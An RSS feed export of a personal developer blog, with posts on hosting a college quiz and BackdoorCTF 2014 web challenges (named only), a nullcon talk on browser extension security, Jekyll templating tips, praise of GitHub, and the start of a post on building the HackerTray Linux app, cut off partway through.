        <item>
            <title><![CDATA[BackdoorCTF and Quizzes]]></title>
            <link>https://captnemo.in/blog/2014/03/25/backdoor-and-quizzes/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2014/03/25/backdoor-and-quizzes/</guid>
            <pubDate>Tue, 25 Mar 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[I recently hosted a Geek Quiz at my college along with Giri. The quiz
was mostly geek with some sports and pop-cult trivia. Here are the slides for
the quiz (both prelims and finals):
Geek Quiz Prelims


Geek Quiz Finals


Some audio/video files for the finals are up here.
BackdoorCTF 2014
Last year, I was the coordinator for Backdoor CTF 2013, a jeopardy-style CTF
contest hosted by SDSLabs under the aegis of Cognizance. This year,
I contributed 3 problems to the CTF. The problems were as follows:
web200 - Timing Attack (Source)
web250 - YAML Code Execution (Source)
web100 - _ Template Code Execution (Source)
You can find writeups/solutions to the problems all over the internet and on ctftime.
Hosting a CTF is always a humbling experience and it was great to see teams from
all over the world participating in backdoor. We hope to return next year with
even better challenges.
Cogni Geek Quiz
After that I teamed up with Giri again (along with Sukun) for the Cogni Geek Quiz,
hosted by the winner of my quiz, Vikram Rathore. While we won the quiz
by a large margin (30 points), I managed to get my own tribute question wrong unfortunately.
However, it was a great experience involving some really nice questions. Update: The slides
are up at mega.
Colors & Typefaces
#cbe86b
#1c140d
TypefaceOswald
TypefaceLato




    
#2e2633
#99173c
TypefaceOswald
TypefaceLato]]></description>
            <content:encoded><![CDATA[<p>I recently hosted a Geek Quiz at my college along with <a href="https://www.facebook.com/giridaran">Giri</a>. The quiz
was mostly geek with some sports and pop-cult trivia. Here are the slides for
the quiz (both prelims and finals):</p>

<h3 id="geek-quiz-prelims">Geek Quiz Prelims</h3>


<h3 id="geek-quiz-finals">Geek Quiz Finals</h3>


<p>Some audio/video files for the finals are up <a href="http://ge.tt/8O1nGbN1/">here</a>.</p>

<h2 id="backdoorctf-2014">BackdoorCTF 2014</h2>

<p>Last year, I was the coordinator for Backdoor CTF 2013, a jeopardy-style CTF
contest hosted by <a href="http://fb.me/SDSLabs">SDSLabs</a> under the aegis of Cognizance. This year,
I contributed 3 problems to the CTF. The problems were as follows:</p>

<ol>
  <li><a href="https://backdoor-web200.herokuapp.com/">web200</a> - Timing Attack (<a href="https://github.com/backdoor-ctf/web200">Source</a>)</li>
  <li><a href="https://backdoor-web250.herokuapp.com/">web250</a> - YAML Code Execution (<a href="https://github.com/backdoor-ctf/web250">Source</a>)</li>
  <li><a href="https://backdoor-web100.herokuapp.com/">web100</a> - _ Template Code Execution (<a href="https://github.com/backdoor-ctf/web100">Source</a>)</li>
</ol>

<p>You can find writeups/solutions to the problems all over the internet and on <a href="https://ctftime.org/event/141/tasks/">ctftime</a>.
Hosting a CTF is always a humbling experience and it was great to see teams from
all over the world participating in backdoor. We hope to return next year with
even better challenges.</p>

<h2 id="cogni-geek-quiz">Cogni Geek Quiz</h2>
<p>After that I teamed up with Giri again (along with Sukun) for the Cogni Geek Quiz,
hosted by the winner of my quiz, <a href="https://www.facebook.com/TheDudeWhoKnocks">Vikram Rathore</a>. While we won the quiz
by a large margin (30 points), I managed to get my own tribute question wrong unfortunately.</p>

<p>However, it was a great experience involving some really nice questions. <em>Update</em>: The slides
are up at <a href="https://mega.co.nz/#F!nso0VaiK!IUBob8dqOM0UAD_Eti6DfA">mega</a>.</p>

<h2 id="colors--typefaces">Colors &amp; Typefaces</h2>

<div class="colophon">
    <div class="color" style="border-top: 20px solid #cbe86b">#cbe86b</div>
    <div class="color" style="border-top: 20px solid #1c140d">#1c140d</div>
    <div class="typeface"><b>Typeface</b>Oswald</div>
    <div class="typeface"><b>Typeface</b>Lato</div>
  <div class="clear"></div>
</div>

<div class="colophon">
    <div class="color" style="border-top: 20px solid #2e2633">#2e2633</div>
    <div class="color" style="border-top: 20px solid #99173c">#99173c</div>
    <div class="typeface"><b>Typeface</b>Oswald</div>
    <div class="typeface"><b>Typeface</b>Lato</div>
  <div class="clear"></div>
</div>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[My experience at nullcon 2014]]></title>
            <link>https://captnemo.in/blog/2014/03/13/nullcon-experience/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2014/03/13/nullcon-experience/</guid>
            <pubDate>Thu, 13 Mar 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[I was recently a speaker at nullcon 2014, a premier infosec conference
in India. My talk was a re-hash of my earlier talk at Deloitte CCTC-2
and was titled “Browser Extension Security”.
I applied for the CFP sometime in November with a copy of my talk, paper and
code I’d used. My application was reviewed and I was told, accepted under the
night-track on 13th February.
The talk itself covered browser security mechanisms, and where the
current state of art lies (Chrome) with respect to Browser Extensions. The talk
was pretty well received (even though I sweated a lot onstage), and a lot
of attendees came up to me to discuss it further after the talk.
The paper behind the talk, and the related source code can be found on GitHub.
Create a new issue or send me an email in case you have any queries. ~The tool demo
I gave during the talk can be found at http://nullcon.captnemo.in~ (Not available anymore). Note, however
that it currently uses cached data to check for permissions, and is not a LIVE tool.
nullcon was my first conference, and I’m glad to say I enjoyed it very much. From
the great hosts to the amazing parties, and all the free booze, I loved it all.
I made a lot of friends, and I plan on keeping in touch. The networking level
was amazing at the conference, and I was happy to get in touch with so many guys
in the industry, so to speak.
A lot of people queried me about future research on the topic, and while I currently
do not have enough time to pursue it, its on my radar of things to do. I’m also
thinking of getting in touch with the Chrome Security Team with my research.
As an aside, a big thanks to Rushil for helping me in the first version
of the paper for CCTC. It won’t have been possible without him.
##Some Clicks


I’m still waiting on receiving official clicks from nullcon. Will update this
post when I get my hands on them.]]></description>
            <content:encoded><![CDATA[<p>I was recently a speaker at <a href="http://nullcon.net/website/">nullcon 2014</a>, a premier infosec conference
in India. My talk was a re-hash of <a href="https://speakerdeck.com/captn3m0/a-security-analysis-of-browser-extensions">my earlier talk</a> at Deloitte CCTC-2
and was titled <em>“Browser Extension Security”</em>.</p>

<p>I applied for the CFP sometime in November with a copy of my talk, paper and
code I’d used. My application was reviewed and I was told, accepted under the
night-track on 13th February.</p>

<p>The <a href="https://speakerdeck.com/captn3m0/browser-extension-security">talk itself</a> covered browser security mechanisms, and where the
current state of art lies (Chrome) with respect to Browser Extensions. The talk
was pretty well received (even though I sweated a lot onstage), and a lot
of attendees came up to me to discuss it further after the talk.</p>

<p>The paper behind the talk, and the related source code can be found on <a href="https://github.com/captn3m0/nullcon2014/">GitHub</a>.
Create a new issue or send me an email in case you have any queries. ~The tool demo
I gave during the talk can be found at http://nullcon.captnemo.in~ (Not available anymore). Note, however
that it currently uses cached data to check for permissions, and is not a LIVE tool.</p>

<p>nullcon was my first conference, and I’m glad to say I enjoyed it very much. From
the great hosts to the amazing parties, and all the free booze, I loved it all.
I made a lot of friends, and I plan on keeping in touch. The networking level
was amazing at the conference, and I was happy to get in touch with so many guys
in the industry, so to speak.</p>

<p>A lot of people queried me about future research on the topic, and while I currently
do not have enough time to pursue it, its on my radar of things to do. I’m also
thinking of getting in touch with the Chrome Security Team with my research.</p>

<p>As an aside, a big thanks to <a href="https://twitter.com/rushil92">Rushil</a> for helping me in the first version
of the paper for CCTC. It won’t have been possible without him.</p>

<p>##Some Clicks</p>

<iframe class="imgur-album" width="100%" height="550" frameborder="0" src="http://imgur.com/a/MCo8s/embed"></iframe>

<p>I’m still waiting on receiving official clicks from nullcon. Will update this
post when I get my hands on them.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Using Jekyll optimally without plugins]]></title>
            <link>https://captnemo.in/blog/2014/01/20/pluginless-jekyll/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2014/01/20/pluginless-jekyll/</guid>
            <pubDate>Mon, 20 Jan 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[If you’re a programmer, by now you’ve surely heard of the various static-site
compilers that are taking over the world. My pick of choice is Jekyll, (about
which I’ve blogged earlier as well) mostly because
it is the default supported tool for the GitHub Pages service. Read my earlier
blog post if you don’t know about Static Site Generators.
Using Jekyll means that it is far more easier for me to host my blog on GitHub
Pages by just writing down posts in plain markdown. Markdown, for those of you
don’t know is a simple markup language that uses an email-like syntax that is
then compiled to HTML.
A lot of power in Jekyll comes from its various plugins, but I’ve always been
vary of using them as the default host for Jekyll (GitHub Pages) disables
all plugins and runs in safe mode. Plugins are an awesome tool to have, but they
are only good if you are hosting the site on your own machines. I’m not shying
away from using them but want to point out that plain-Jekyll itself is powerful
enough to do most of the tasks. What follows are some examples of how to use
Jekyll optimally.
Data Files
This is a recent addition in Jekyll that allows you to use
data noted down in YAML format inside the _data directory that is accessible
to you anywhere using the site.data prefix. For instance, I recently shifted
the SDSLabs Team Page from plain HTML to Jekyll, and I used a data file
to define all the required elements that are shown for every user. The data file
looks something like this (_data/members.yml):
- name: "Abhay Rana"
  pic: "abhay.jpg"
  links:
    Facebook: "https://facebook.com/capt.n3m0"
    Twitter: "https://twitter.com/captn3m0"
- name: "Team SDSLabs"
  pic: "sdslabs.jpg"
  links:
    Facebook: "https://facebook.com/SDSLabs"
    Twitter: "https://twitter.com/sdslabs"


Then, I iterate over this data using the following syntax:
{% for member in site.data.members %}
<img src="pics/{{member.pic}}" alt="{{member.name}}">
<div class="img-bar">
  <span class="img-title">{{member.name}}</span>
  <span class="img-icons">
    {% for link in member.links %}
    <!-- link[0] holds the hash key = facebook/twitter -->
    <a href="{{link[1]}}"><img src="assets/{{link[0]|downcase}}.png"></a>
    <!-- link[1] holds the hash value-->
    {% endfor %}
  </span>
</div>
{% endfor %}


Earlier, you could have achieved the same thing by adding this data to your
_config.yml file, but the _data folder allows you to store data properly
in various files, if needed.
Liquid Filters
Since Jekyll relies on Shopify’s Liquid language for templating
purposes, it has a very large list of supported functions, filters and markup
tools ready for you to use. For instance, while working on the
SDSLabs Portfolio, I used the split and downcase filter to convert
a known list of categories to single word objects that could be used as file
names.
{% for category in site.data.category %}
  <!-- category is something like "Web Development"-->
  {% assign category_name = category|split: ' '|first|downcase %}
  <a href="/category/{{category_name}}.html">{{ category }}</a>
{% endfor %}


The above snippet converts a string like “Web Development” to a smaller string
“web” that can be used by us for filenames much more easily.
You can check out more liquid filters over here. These include
things like plus, times, reverse, and even md5 (helpful for gravatars).
Code Highlighting
Markdown is really awesome, but it lacks Synax Highlighting for code. Jekyll
uses pygments to support syntax highlighting for various languages.
To highlight a piece of code, you just use the following syntax:
{% highlight ruby %}
def show
  @widget = Widget(params[:id])
  respond_to do |format|
    format.html # show.html.erb
    format.json { render json: @widget }
  end
end
{% endhighlight %}


And the output will look like this:
def show
  @widget = Widget(params[:id])
  respond_to do |format|
    format.html # show.html.erb
    format.json { render json: @widget }
  end
end


Custom Permalinks
Everyone knows about handling the blog posts permalink using the permalinks
setting in _config.yml. But did you know that you can provide custom
permalink to any page in your site? For instance, the Jekyll documentation site
uses the following:

permalink: /docs/config/


in the frontmatter for the file docs/configuration.md. The file would have
been published to docs/configuration.html by default, but the permalink in the
file forces it to be published to /docs/config/index.html. Its a really nice
setting that allows you to customize the post url for any particular post.
Raw Liquid Tag
In the rare case that you want to use liquid-like syntax somewhere, say you are
using Handlebars (which uses {{{variable}}} to echo variables).
You can use the following syntax:

{% raw %}
Here is some {{mustache}}
{% endraw %}


In fact, I’ve used the raw tags a lot in this blog post to escape all the liquid
portions. You can see the liquid documentation for more help.
Side Note: Writing the endraw tag in liquid is really, really hard.
Embedding HTML/CSS inside markdown
Sometimes, there are some things that just can’t be done with markdown. For
instance, if you need to use a custom tag, or need to write some css within the
markdown document for some reason, there is always a way: just embed content
inside <div> tags. This is not a Jekyll feature, but an implementation detail
of Markdown itself, but I think its hacky enough to get a mention here.

Writing **markdown** here
<div>
  <style>
    body{
      margin-top: 10px;
  }
  </style>
</div>
Back to _Markdown_.


Anything inside a <div> tag is untouched by Markdown, and is rendered as it is.]]></description>
            <content:encoded><![CDATA[<p>If you’re a programmer, by now you’ve surely heard of the various static-site
compilers that are taking over the world. My pick of choice is Jekyll, (about
which I’ve <a href="https://captnemo.in/blog/2011/09/19/jekyll/">blogged earlier</a> as well) mostly because
it is the default supported tool for the GitHub Pages service. Read <a href="https://captnemo.in/blog/2011/09/19/jekyll/">my earlier
blog post</a> if you don’t know about Static Site Generators.</p>

<p>Using Jekyll means that it is far more easier for me to host my blog on GitHub
Pages by just writing down posts in plain markdown. Markdown, for those of you
don’t know is a simple markup language that uses an email-like syntax that is
then compiled to HTML.</p>

<p>A lot of power in Jekyll comes from its various plugins, but I’ve always been
vary of using them as the default host for Jekyll (GitHub Pages) disables
all plugins and runs in safe mode. Plugins are an awesome tool to have, but they
are only good if you are hosting the site on your own machines. I’m not shying
away from using them but want to point out that plain-Jekyll itself is powerful
enough to do most of the tasks. What follows are some examples of how to use
Jekyll optimally.</p>

<h2 id="data-files">Data Files</h2>
<p>This is a <a href="http://jekyllrb.com/docs/datafiles/">recent addition</a> in Jekyll that allows you to use
data noted down in YAML format inside the <code class="language-plaintext highlighter-rouge">_data</code> directory that is accessible
to you anywhere using the <code class="language-plaintext highlighter-rouge">site.data</code> prefix. For instance, I recently shifted
the <a href="http://team.sdslabs.co/">SDSLabs Team Page</a> from plain HTML to Jekyll, and I used a data file
to define all the required elements that are shown for every user. The data file
looks something like this (<code class="language-plaintext highlighter-rouge">_data/members.yml</code>):</p>

<figure class="highlight"><pre><code class="language-yaml" data-lang="yaml"><span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s2">"</span><span class="s">Abhay</span><span class="nv"> </span><span class="s">Rana"</span>
  <span class="na">pic</span><span class="pi">:</span> <span class="s2">"</span><span class="s">abhay.jpg"</span>
  <span class="na">links</span><span class="pi">:</span>
    <span class="na">Facebook</span><span class="pi">:</span> <span class="s2">"</span><span class="s">https://facebook.com/capt.n3m0"</span>
    <span class="na">Twitter</span><span class="pi">:</span> <span class="s2">"</span><span class="s">https://twitter.com/captn3m0"</span>
<span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s2">"</span><span class="s">Team</span><span class="nv"> </span><span class="s">SDSLabs"</span>
  <span class="na">pic</span><span class="pi">:</span> <span class="s2">"</span><span class="s">sdslabs.jpg"</span>
  <span class="na">links</span><span class="pi">:</span>
    <span class="na">Facebook</span><span class="pi">:</span> <span class="s2">"</span><span class="s">https://facebook.com/SDSLabs"</span>
    <span class="na">Twitter</span><span class="pi">:</span> <span class="s2">"</span><span class="s">https://twitter.com/sdslabs"</span></code></pre></figure>

<p>Then, I iterate over this data using the following syntax:</p>

<figure class="highlight"><pre><code class="language-html" data-lang="html">{% for member in site.data.members %}
<span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"pics/{{member.pic}}"</span> <span class="na">alt=</span><span class="s">"{{member.name}}"</span><span class="nt">&gt;</span>
<span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"img-bar"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"img-title"</span><span class="nt">&gt;</span>{{member.name}}<span class="nt">&lt;/span&gt;</span>
  <span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"img-icons"</span><span class="nt">&gt;</span>
    {% for link in member.links %}
    <span class="c">&lt;!-- link[0] holds the hash key = facebook/twitter --&gt;</span>
    <span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"{{link[1]}}"</span><span class="nt">&gt;&lt;img</span> <span class="na">src=</span><span class="s">"assets/{{link[0]|downcase}}.png"</span><span class="nt">&gt;&lt;/a&gt;</span>
    <span class="c">&lt;!-- link[1] holds the hash value--&gt;</span>
    {% endfor %}
  <span class="nt">&lt;/span&gt;</span>
<span class="nt">&lt;/div&gt;</span>
{% endfor %}</code></pre></figure>

<p>Earlier, you could have achieved the same thing by adding this data to your
<code class="language-plaintext highlighter-rouge">_config.yml</code> file, but the <code class="language-plaintext highlighter-rouge">_data</code> folder allows you to store data properly
in various files, if needed.</p>

<h2 id="liquid-filters">Liquid Filters</h2>
<p>Since Jekyll relies on <a href="http://liquidmarkup.org/" title="Liquid Markup Language">Shopify’s Liquid</a> language for templating
purposes, it has a very large list of supported functions, filters and markup
tools ready for you to use. For instance, while working on the
<a href="http://sdslabs.co/">SDSLabs Portfolio</a>, I used the split and downcase filter to convert
a known list of categories to single word objects that could be used as file
names.</p>

<figure class="highlight"><pre><code class="language-html" data-lang="html">{% for category in site.data.category %}
  <span class="c">&lt;!-- category is something like "Web Development"--&gt;</span>
  {% assign category_name = category|split: ' '|first|downcase %}
  <span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"/category/{{category_name}}.html"</span><span class="nt">&gt;</span>{{ category }}<span class="nt">&lt;/a&gt;</span>
{% endfor %}</code></pre></figure>

<p>The above snippet converts a string like “Web Development” to a smaller string
“web” that can be used by us for filenames much more easily.</p>

<p>You can check out more liquid filters <a href="https://docs.shopify.com/themes/liquid-basics/output">over here</a>. These include
things like <code class="language-plaintext highlighter-rouge">plus</code>, <code class="language-plaintext highlighter-rouge">times</code>, <code class="language-plaintext highlighter-rouge">reverse</code>, and even <code class="language-plaintext highlighter-rouge">md5</code> (helpful for gravatars).</p>

<h2 id="code-highlighting">Code Highlighting</h2>
<p>Markdown is really awesome, but it lacks Synax Highlighting for code. Jekyll
uses <a href="http://pygments.org/">pygments</a> to support syntax highlighting for various languages.
To highlight a piece of code, you just use the following syntax:</p>

<figure class="highlight"><pre><code class="language-text" data-lang="text">{% highlight ruby %}
def show
  @widget = Widget(params[:id])
  respond_to do |format|
    format.html # show.html.erb
    format.json { render json: @widget }
  end
end
{% endhighlight %}</code></pre></figure>

<p>And the output will look like this:</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="k">def</span> <span class="nf">show</span>
  <span class="vi">@widget</span> <span class="o">=</span> <span class="no">Widget</span><span class="p">(</span><span class="n">params</span><span class="p">[</span><span class="ss">:id</span><span class="p">])</span>
  <span class="n">respond_to</span> <span class="k">do</span> <span class="o">|</span><span class="nb">format</span><span class="o">|</span>
    <span class="nb">format</span><span class="p">.</span><span class="nf">html</span> <span class="c1"># show.html.erb</span>
    <span class="nb">format</span><span class="p">.</span><span class="nf">json</span> <span class="p">{</span> <span class="n">render</span> <span class="ss">json: </span><span class="vi">@widget</span> <span class="p">}</span>
  <span class="k">end</span>
<span class="k">end</span></code></pre></figure>

<h2 id="custom-permalinks">Custom Permalinks</h2>
<p>Everyone knows about handling the blog posts permalink using the permalinks
setting in <code class="language-plaintext highlighter-rouge">_config.yml</code>. But did you know that you can provide custom
permalink to any page in your site? For instance, the Jekyll documentation site
uses the following:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>permalink: /docs/config/
</code></pre></div></div>

<p>in the frontmatter for the file <code class="language-plaintext highlighter-rouge">docs/configuration.md</code>. The file would have
been published to <code class="language-plaintext highlighter-rouge">docs/configuration.html</code> by default, but the permalink in the
file forces it to be published to <code class="language-plaintext highlighter-rouge">/docs/config/index.html</code>. Its a really nice
setting that allows you to customize the post url for any particular post.</p>

<h2 id="raw-liquid-tag">Raw Liquid Tag</h2>
<p>In the rare case that you want to use liquid-like syntax somewhere, say you are
using Handlebars (which uses {{{variable}}} to echo variables).
You can use the following syntax:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{% raw %}
Here is some {{mustache}}
{% endraw %}
</code></pre></div></div>

<p>In fact, I’ve used the raw tags a lot in this blog post to escape all the liquid
portions. You can see the <a href="https://github.com/Shopify/liquid/wiki/Liquid-for-Designers">liquid documentation</a> for more help.</p>

<p>Side Note: Writing the endraw tag in liquid is <a href="http://blog.slaks.net/2013-06-10/jekyll-endraw-in-code/">really, really hard</a>.</p>

<h2 id="embedding-htmlcss-inside-markdown">Embedding HTML/CSS inside markdown</h2>
<p>Sometimes, there are some things that just can’t be done with markdown. For
instance, if you need to use a custom tag, or need to write some css within the
markdown document for some reason, there is always a way: just embed content
inside <code class="language-plaintext highlighter-rouge">&lt;div&gt;</code> tags. This is not a Jekyll feature, but an implementation detail
of Markdown itself, but I think its hacky enough to get a mention here.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Writing **markdown** here
&lt;div&gt;
  &lt;style&gt;
    body{
      margin-top: 10px;
  }
  &lt;/style&gt;
&lt;/div&gt;
Back to _Markdown_.
</code></pre></div></div>

<p>Anything inside a <code class="language-plaintext highlighter-rouge">&lt;div&gt;</code> tag is untouched by Markdown, and is rendered as it is.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[On GitHub]]></title>
            <link>https://captnemo.in/blog/2013/12/25/on-github/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2013/12/25/on-github/</guid>
            <pubDate>Wed, 25 Dec 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[I am an Internet addict. And the website I’m most addicted to is called GitHub. GitHub is a social code hosting website that is totally awesome. Not your general run-of-the-mill awesome, but rather ass-kicking best-thing-in-the-world awesome. If GitHub was a ninja, it would be Po, defeating the evil clutches of SourceForge.
When Linux was released a couple of decades ago, it was hosted on a university FTP server. Today, the days of FTP are way past, and unless your code is hosted on a code-sharing website like GitHub, it is as good as dead. The last decade has seen an explosive grown in software and the open source movement. Things like GitHub, Linux, Android, Facebook have been made possible due to the combine efforts of millions across the globe following the Unix philosophy of doing one thing well.
Ahh, I digress. The point I’m trying to make is that it is very hard to explain to a layman how important GitHub  has been to the software community. It has been used as a collaboration platform for writers, law makers, governments, programmers, and even musicians. People have used its issue tracking feature to even plan weddings. And above all, people adore GitHub. It is one of the few startups that have been accorded God status in the community.
The question here is what makes GitHub tick? As the largest hosting site for code, it obviously makes a huge impact just by virtue of being there. But its tide of features and innovative progression had made it a darling of all. For instance, their 1 click to fork feature has allowed people to contribute to any project so much easier.
GitHub has an amazing User Experience, making sure it works  perfectly on all devices large or small. Their amazing support makes sure all of its users are happy as possible. Their regular meetups makes sure that GitHub is invested in the software community themselves. And their GitHub Store lets people invest back in GitHub by romoting them via Tees, stickers and  even laptop sleeves.
My personal experience with GitHub has been overwhelmingly positive. People have stood beside GitHub even as they faced major issues, and for me that is indicative of a trust in GitHub that no money can buy. The GitHub API (which I’ve used more than once) lets developers create their own apps on top of GitHub which others can use to create even more awesome things.
For me GitHub is more than just a coding website. It is a testament to creativity and the Hacker Way, reminding me every day that anything is possible.]]></description>
            <content:encoded><![CDATA[<p>I am an Internet addict. And the website I’m most addicted to is called GitHub. GitHub is a social code hosting website that is totally awesome. Not your general run-of-the-mill awesome, but rather ass-kicking best-thing-in-the-world awesome. If GitHub was a ninja, it would be Po, defeating the evil clutches of SourceForge.</p>

<p>When Linux was released a couple of decades ago, it was hosted on a university FTP server. Today, the days of FTP are way past, and unless your code is hosted on a code-sharing website like GitHub, it is as good as dead. The last decade has seen an explosive grown in software and the open source movement. Things like GitHub, Linux, Android, Facebook have been made possible due to the combine efforts of millions across the globe following the Unix philosophy of doing one thing well.</p>

<p>Ahh, I digress. The point I’m trying to make is that it is very hard to explain to a layman how important GitHub  has been to the software community. It has been used as a collaboration platform for writers, law makers, governments, programmers, and even musicians. People have used its issue tracking feature to even plan weddings. And above all, people adore GitHub. It is one of the few startups that have been accorded God status in the community.</p>

<p>The question here is what makes GitHub tick? As the largest hosting site for code, it obviously makes a huge impact just by virtue of being there. But its tide of features and innovative progression had made it a darling of all. For instance, their 1 click to fork feature has allowed people to contribute to any project so much easier.</p>

<p>GitHub has an amazing User Experience, making sure it works  perfectly on all devices large or small. Their amazing support makes sure all of its users are happy as possible. Their regular meetups makes sure that GitHub is invested in the software community themselves. And their GitHub Store lets people invest back in GitHub by romoting them via Tees, stickers and  even laptop sleeves.</p>

<p>My personal experience with GitHub has been overwhelmingly positive. People have stood beside GitHub even as they faced major issues, and for me that is indicative of a trust in GitHub that no money can buy. The GitHub API (which I’ve used more than once) lets developers create their own apps on top of GitHub which others can use to create even more awesome things.</p>

<p>For me GitHub is more than just a coding website. It is a testament to creativity and the Hacker Way, reminding me every day that anything is possible.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Making HackerTray]]></title>
            <link>https://captnemo.in/blog/2013/11/28/making-hackertray/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2013/11/28/making-hackertray/</guid>
            <pubDate>Thu, 28 Nov 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[A few days back, I found the excellent HackerBarApp via Hacker News. Hacker News,
for those of you who don’t know, is  tech news website run by YCombinator.
Hacker Bar was the simplest way of accessing HN stories that I’d ever seen. Unfortunately,
it was only for Mac (made using rubymotion) and even though the source was available,
it was of no use to me as a Linux User.
I decided to make a clone of Hacker Bar that would work on Linux. My first choice of the
stack was node-webkit, an application framework that allows you to build cross-platform
applications using HTML, CSS, JS, and modules from the node.js ecosystem. After reading a lot
about node-webkit, I figured out that building this application in node-webkit (as it stands)
would not be possible. Or rather, it would not work under Ubuntu and its derivatives because
of lacking appindicator support in node-webkit. More details here.
The next obvious language and stack of choice was Python + Gtk. I’d already played a little bit
with Gtk and Python some time back, so I knew the basics. But I’d never build a real application
with PyGtk, just toys and small scripts. I found a basic skeleton app
that was written for AppIndicator and modified it somewhat to form the base of HackerTray.
The next challenge I faced was keeping the check boxes always checked despite of any number
of clicks after the first. That is, we don’t want any menu item to be “un-checked” at
any moment. A basic idea is to do this (partial code):
def open(self, widget):
	if(widget.get_active() == False):
		widget.set_active()
	webbrowser.open(widget.url)

def addItem(self, item):
	#create a new CheckMenuItem (i)
	i.connect('activate', self.open)


However, this does not work as expected, because the widget.set_active() call also results
in the activate event being fired, which ultimately calls open. This means on a click to
an unchecked menuItem, the open function is called twice. This results in the browser opening
the link twice.
As a workaround, I disabled the event handler in case it is a checked menuItem:
def open(self, widget):
	if(widget.set_active() == False)
		wiget.disconnect(widget.signal_id)
		widget.set_active(true)
		widget.signal_id = widget.connect('activate', self.open)
	webbrowser.open(widget.url)

def addItem(self, item):
	#create a new CheckMenuItem (i)
	i.connect('activate', self.open)
	i.signal_id = i.connect('activate', self.open)


The next thing I worked on was a persistent memory for the app. In a nutshell, I needed to
make sure that the tick on an item remained there, even if the app was restarted. This meant
writing a list of all the “viewed” items into a file. After looking at shelve for a
bit, I just rolled my own implementation
, based on storing the data into ~/.hackertray.json file.
After that I worked on packaging the app into a python package, so that it could be easily installed.
The python packaging tutorial was an easy to use guide
that let me create the package
easily and push it to the Python Package Index. A few issues in the package
were found, and were fixed quickly thanks to the pull request by @brunal.
After improving the README a bit, I posted about it on Hacker News, where it failed to get any traction. I re-tried with a link
to the HackerTray website, and that fell flat as well. It was on the next day, when I posted it to HN
for the third time, that it took off. After 50 or so upvotes, I found that my instance refused to run because it had
hit the API Rate Limit on the excellent node-hnapi. I quickly pushed a fix
that used a list of servers to hit as fallback in case it crossed the Rate Limits.
After a lot of feedback from HN, I started work on a node-webkit based clone of hackertray for Windows. I should be able to release
it in a few more days, if nothing else crops up. Keep watching this space for info. If you have any queries, just file an issue on GitHub
or contact me.]]></description>
            <content:encoded><![CDATA[<p>A few days back, I found the excellent <a href="http://hackerbarapp.com/">HackerBarApp</a> via Hacker News. Hacker News,
for those of you who don’t know, is  tech news website run by <a href="http://ycombinator.com">YCombinator</a>.
Hacker Bar was the simplest way of accessing HN stories that I’d ever seen. Unfortunately,
it was only for Mac (made using <a href="http://www.rubymotion.com/">rubymotion</a>) and even though the source was available,
it was of no use to me as a Linux User.</p>

<p>I decided to make a clone of Hacker Bar that would work on Linux. My first choice of the
stack was <a href="https://github.com/rogerwang/node-webkit">node-webkit</a>, an application framework that allows you to build cross-platform
applications using HTML, CSS, JS, and modules from the node.js ecosystem. After reading a lot
about node-webkit, I figured out that building this application in node-webkit (as it stands)
would not be possible. Or rather, it would not work under Ubuntu and its derivatives because
of lacking appindicator support in <a href="https://github.com/rogerwang/node-webkit/issues/1087">node-webkit</a>. More details <a href="https://groups.google.com/d/topic/node-webkit/FeX7YYwK8jI/discussion">here</a>.</p>

<p>The next obvious language and stack of choice was Python + Gtk. I’d already played a little bit
with Gtk and Python some time back, so I knew the basics. But I’d never build a real application
with PyGtk, just toys and small scripts. I found a <a href="http://www.eurion.net/python-snippets/snippet/Create%20an%20Application%20Indicator.html">basic skeleton app</a>
that was written for AppIndicator and modified it somewhat to form the base of HackerTray.</p>

<p>The next challenge I faced was keeping the check boxes always checked despite of any number
of clicks after the first. That is, we don’t want any menu item to be “un-checked” at
any moment. A basic idea is to do this (partial code):</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">open</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">widget</span><span class="p">):</span>
	<span class="nf">if</span><span class="p">(</span><span class="n">widget</span><span class="p">.</span><span class="nf">get_active</span><span class="p">()</span> <span class="o">==</span> <span class="bp">False</span><span class="p">):</span>
		<span class="n">widget</span><span class="p">.</span><span class="nf">set_active</span><span class="p">()</span>
	<span class="n">webbrowser</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="n">widget</span><span class="p">.</span><span class="n">url</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">addItem</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">item</span><span class="p">):</span>
	<span class="c1">#create a new CheckMenuItem (i)
</span>	<span class="n">i</span><span class="p">.</span><span class="nf">connect</span><span class="p">(</span><span class="sh">'</span><span class="s">activate</span><span class="sh">'</span><span class="p">,</span> <span class="n">self</span><span class="p">.</span><span class="nb">open</span><span class="p">)</span></code></pre></figure>

<p>However, this does not work as expected, because the <code class="language-plaintext highlighter-rouge">widget.set_active()</code> call also results
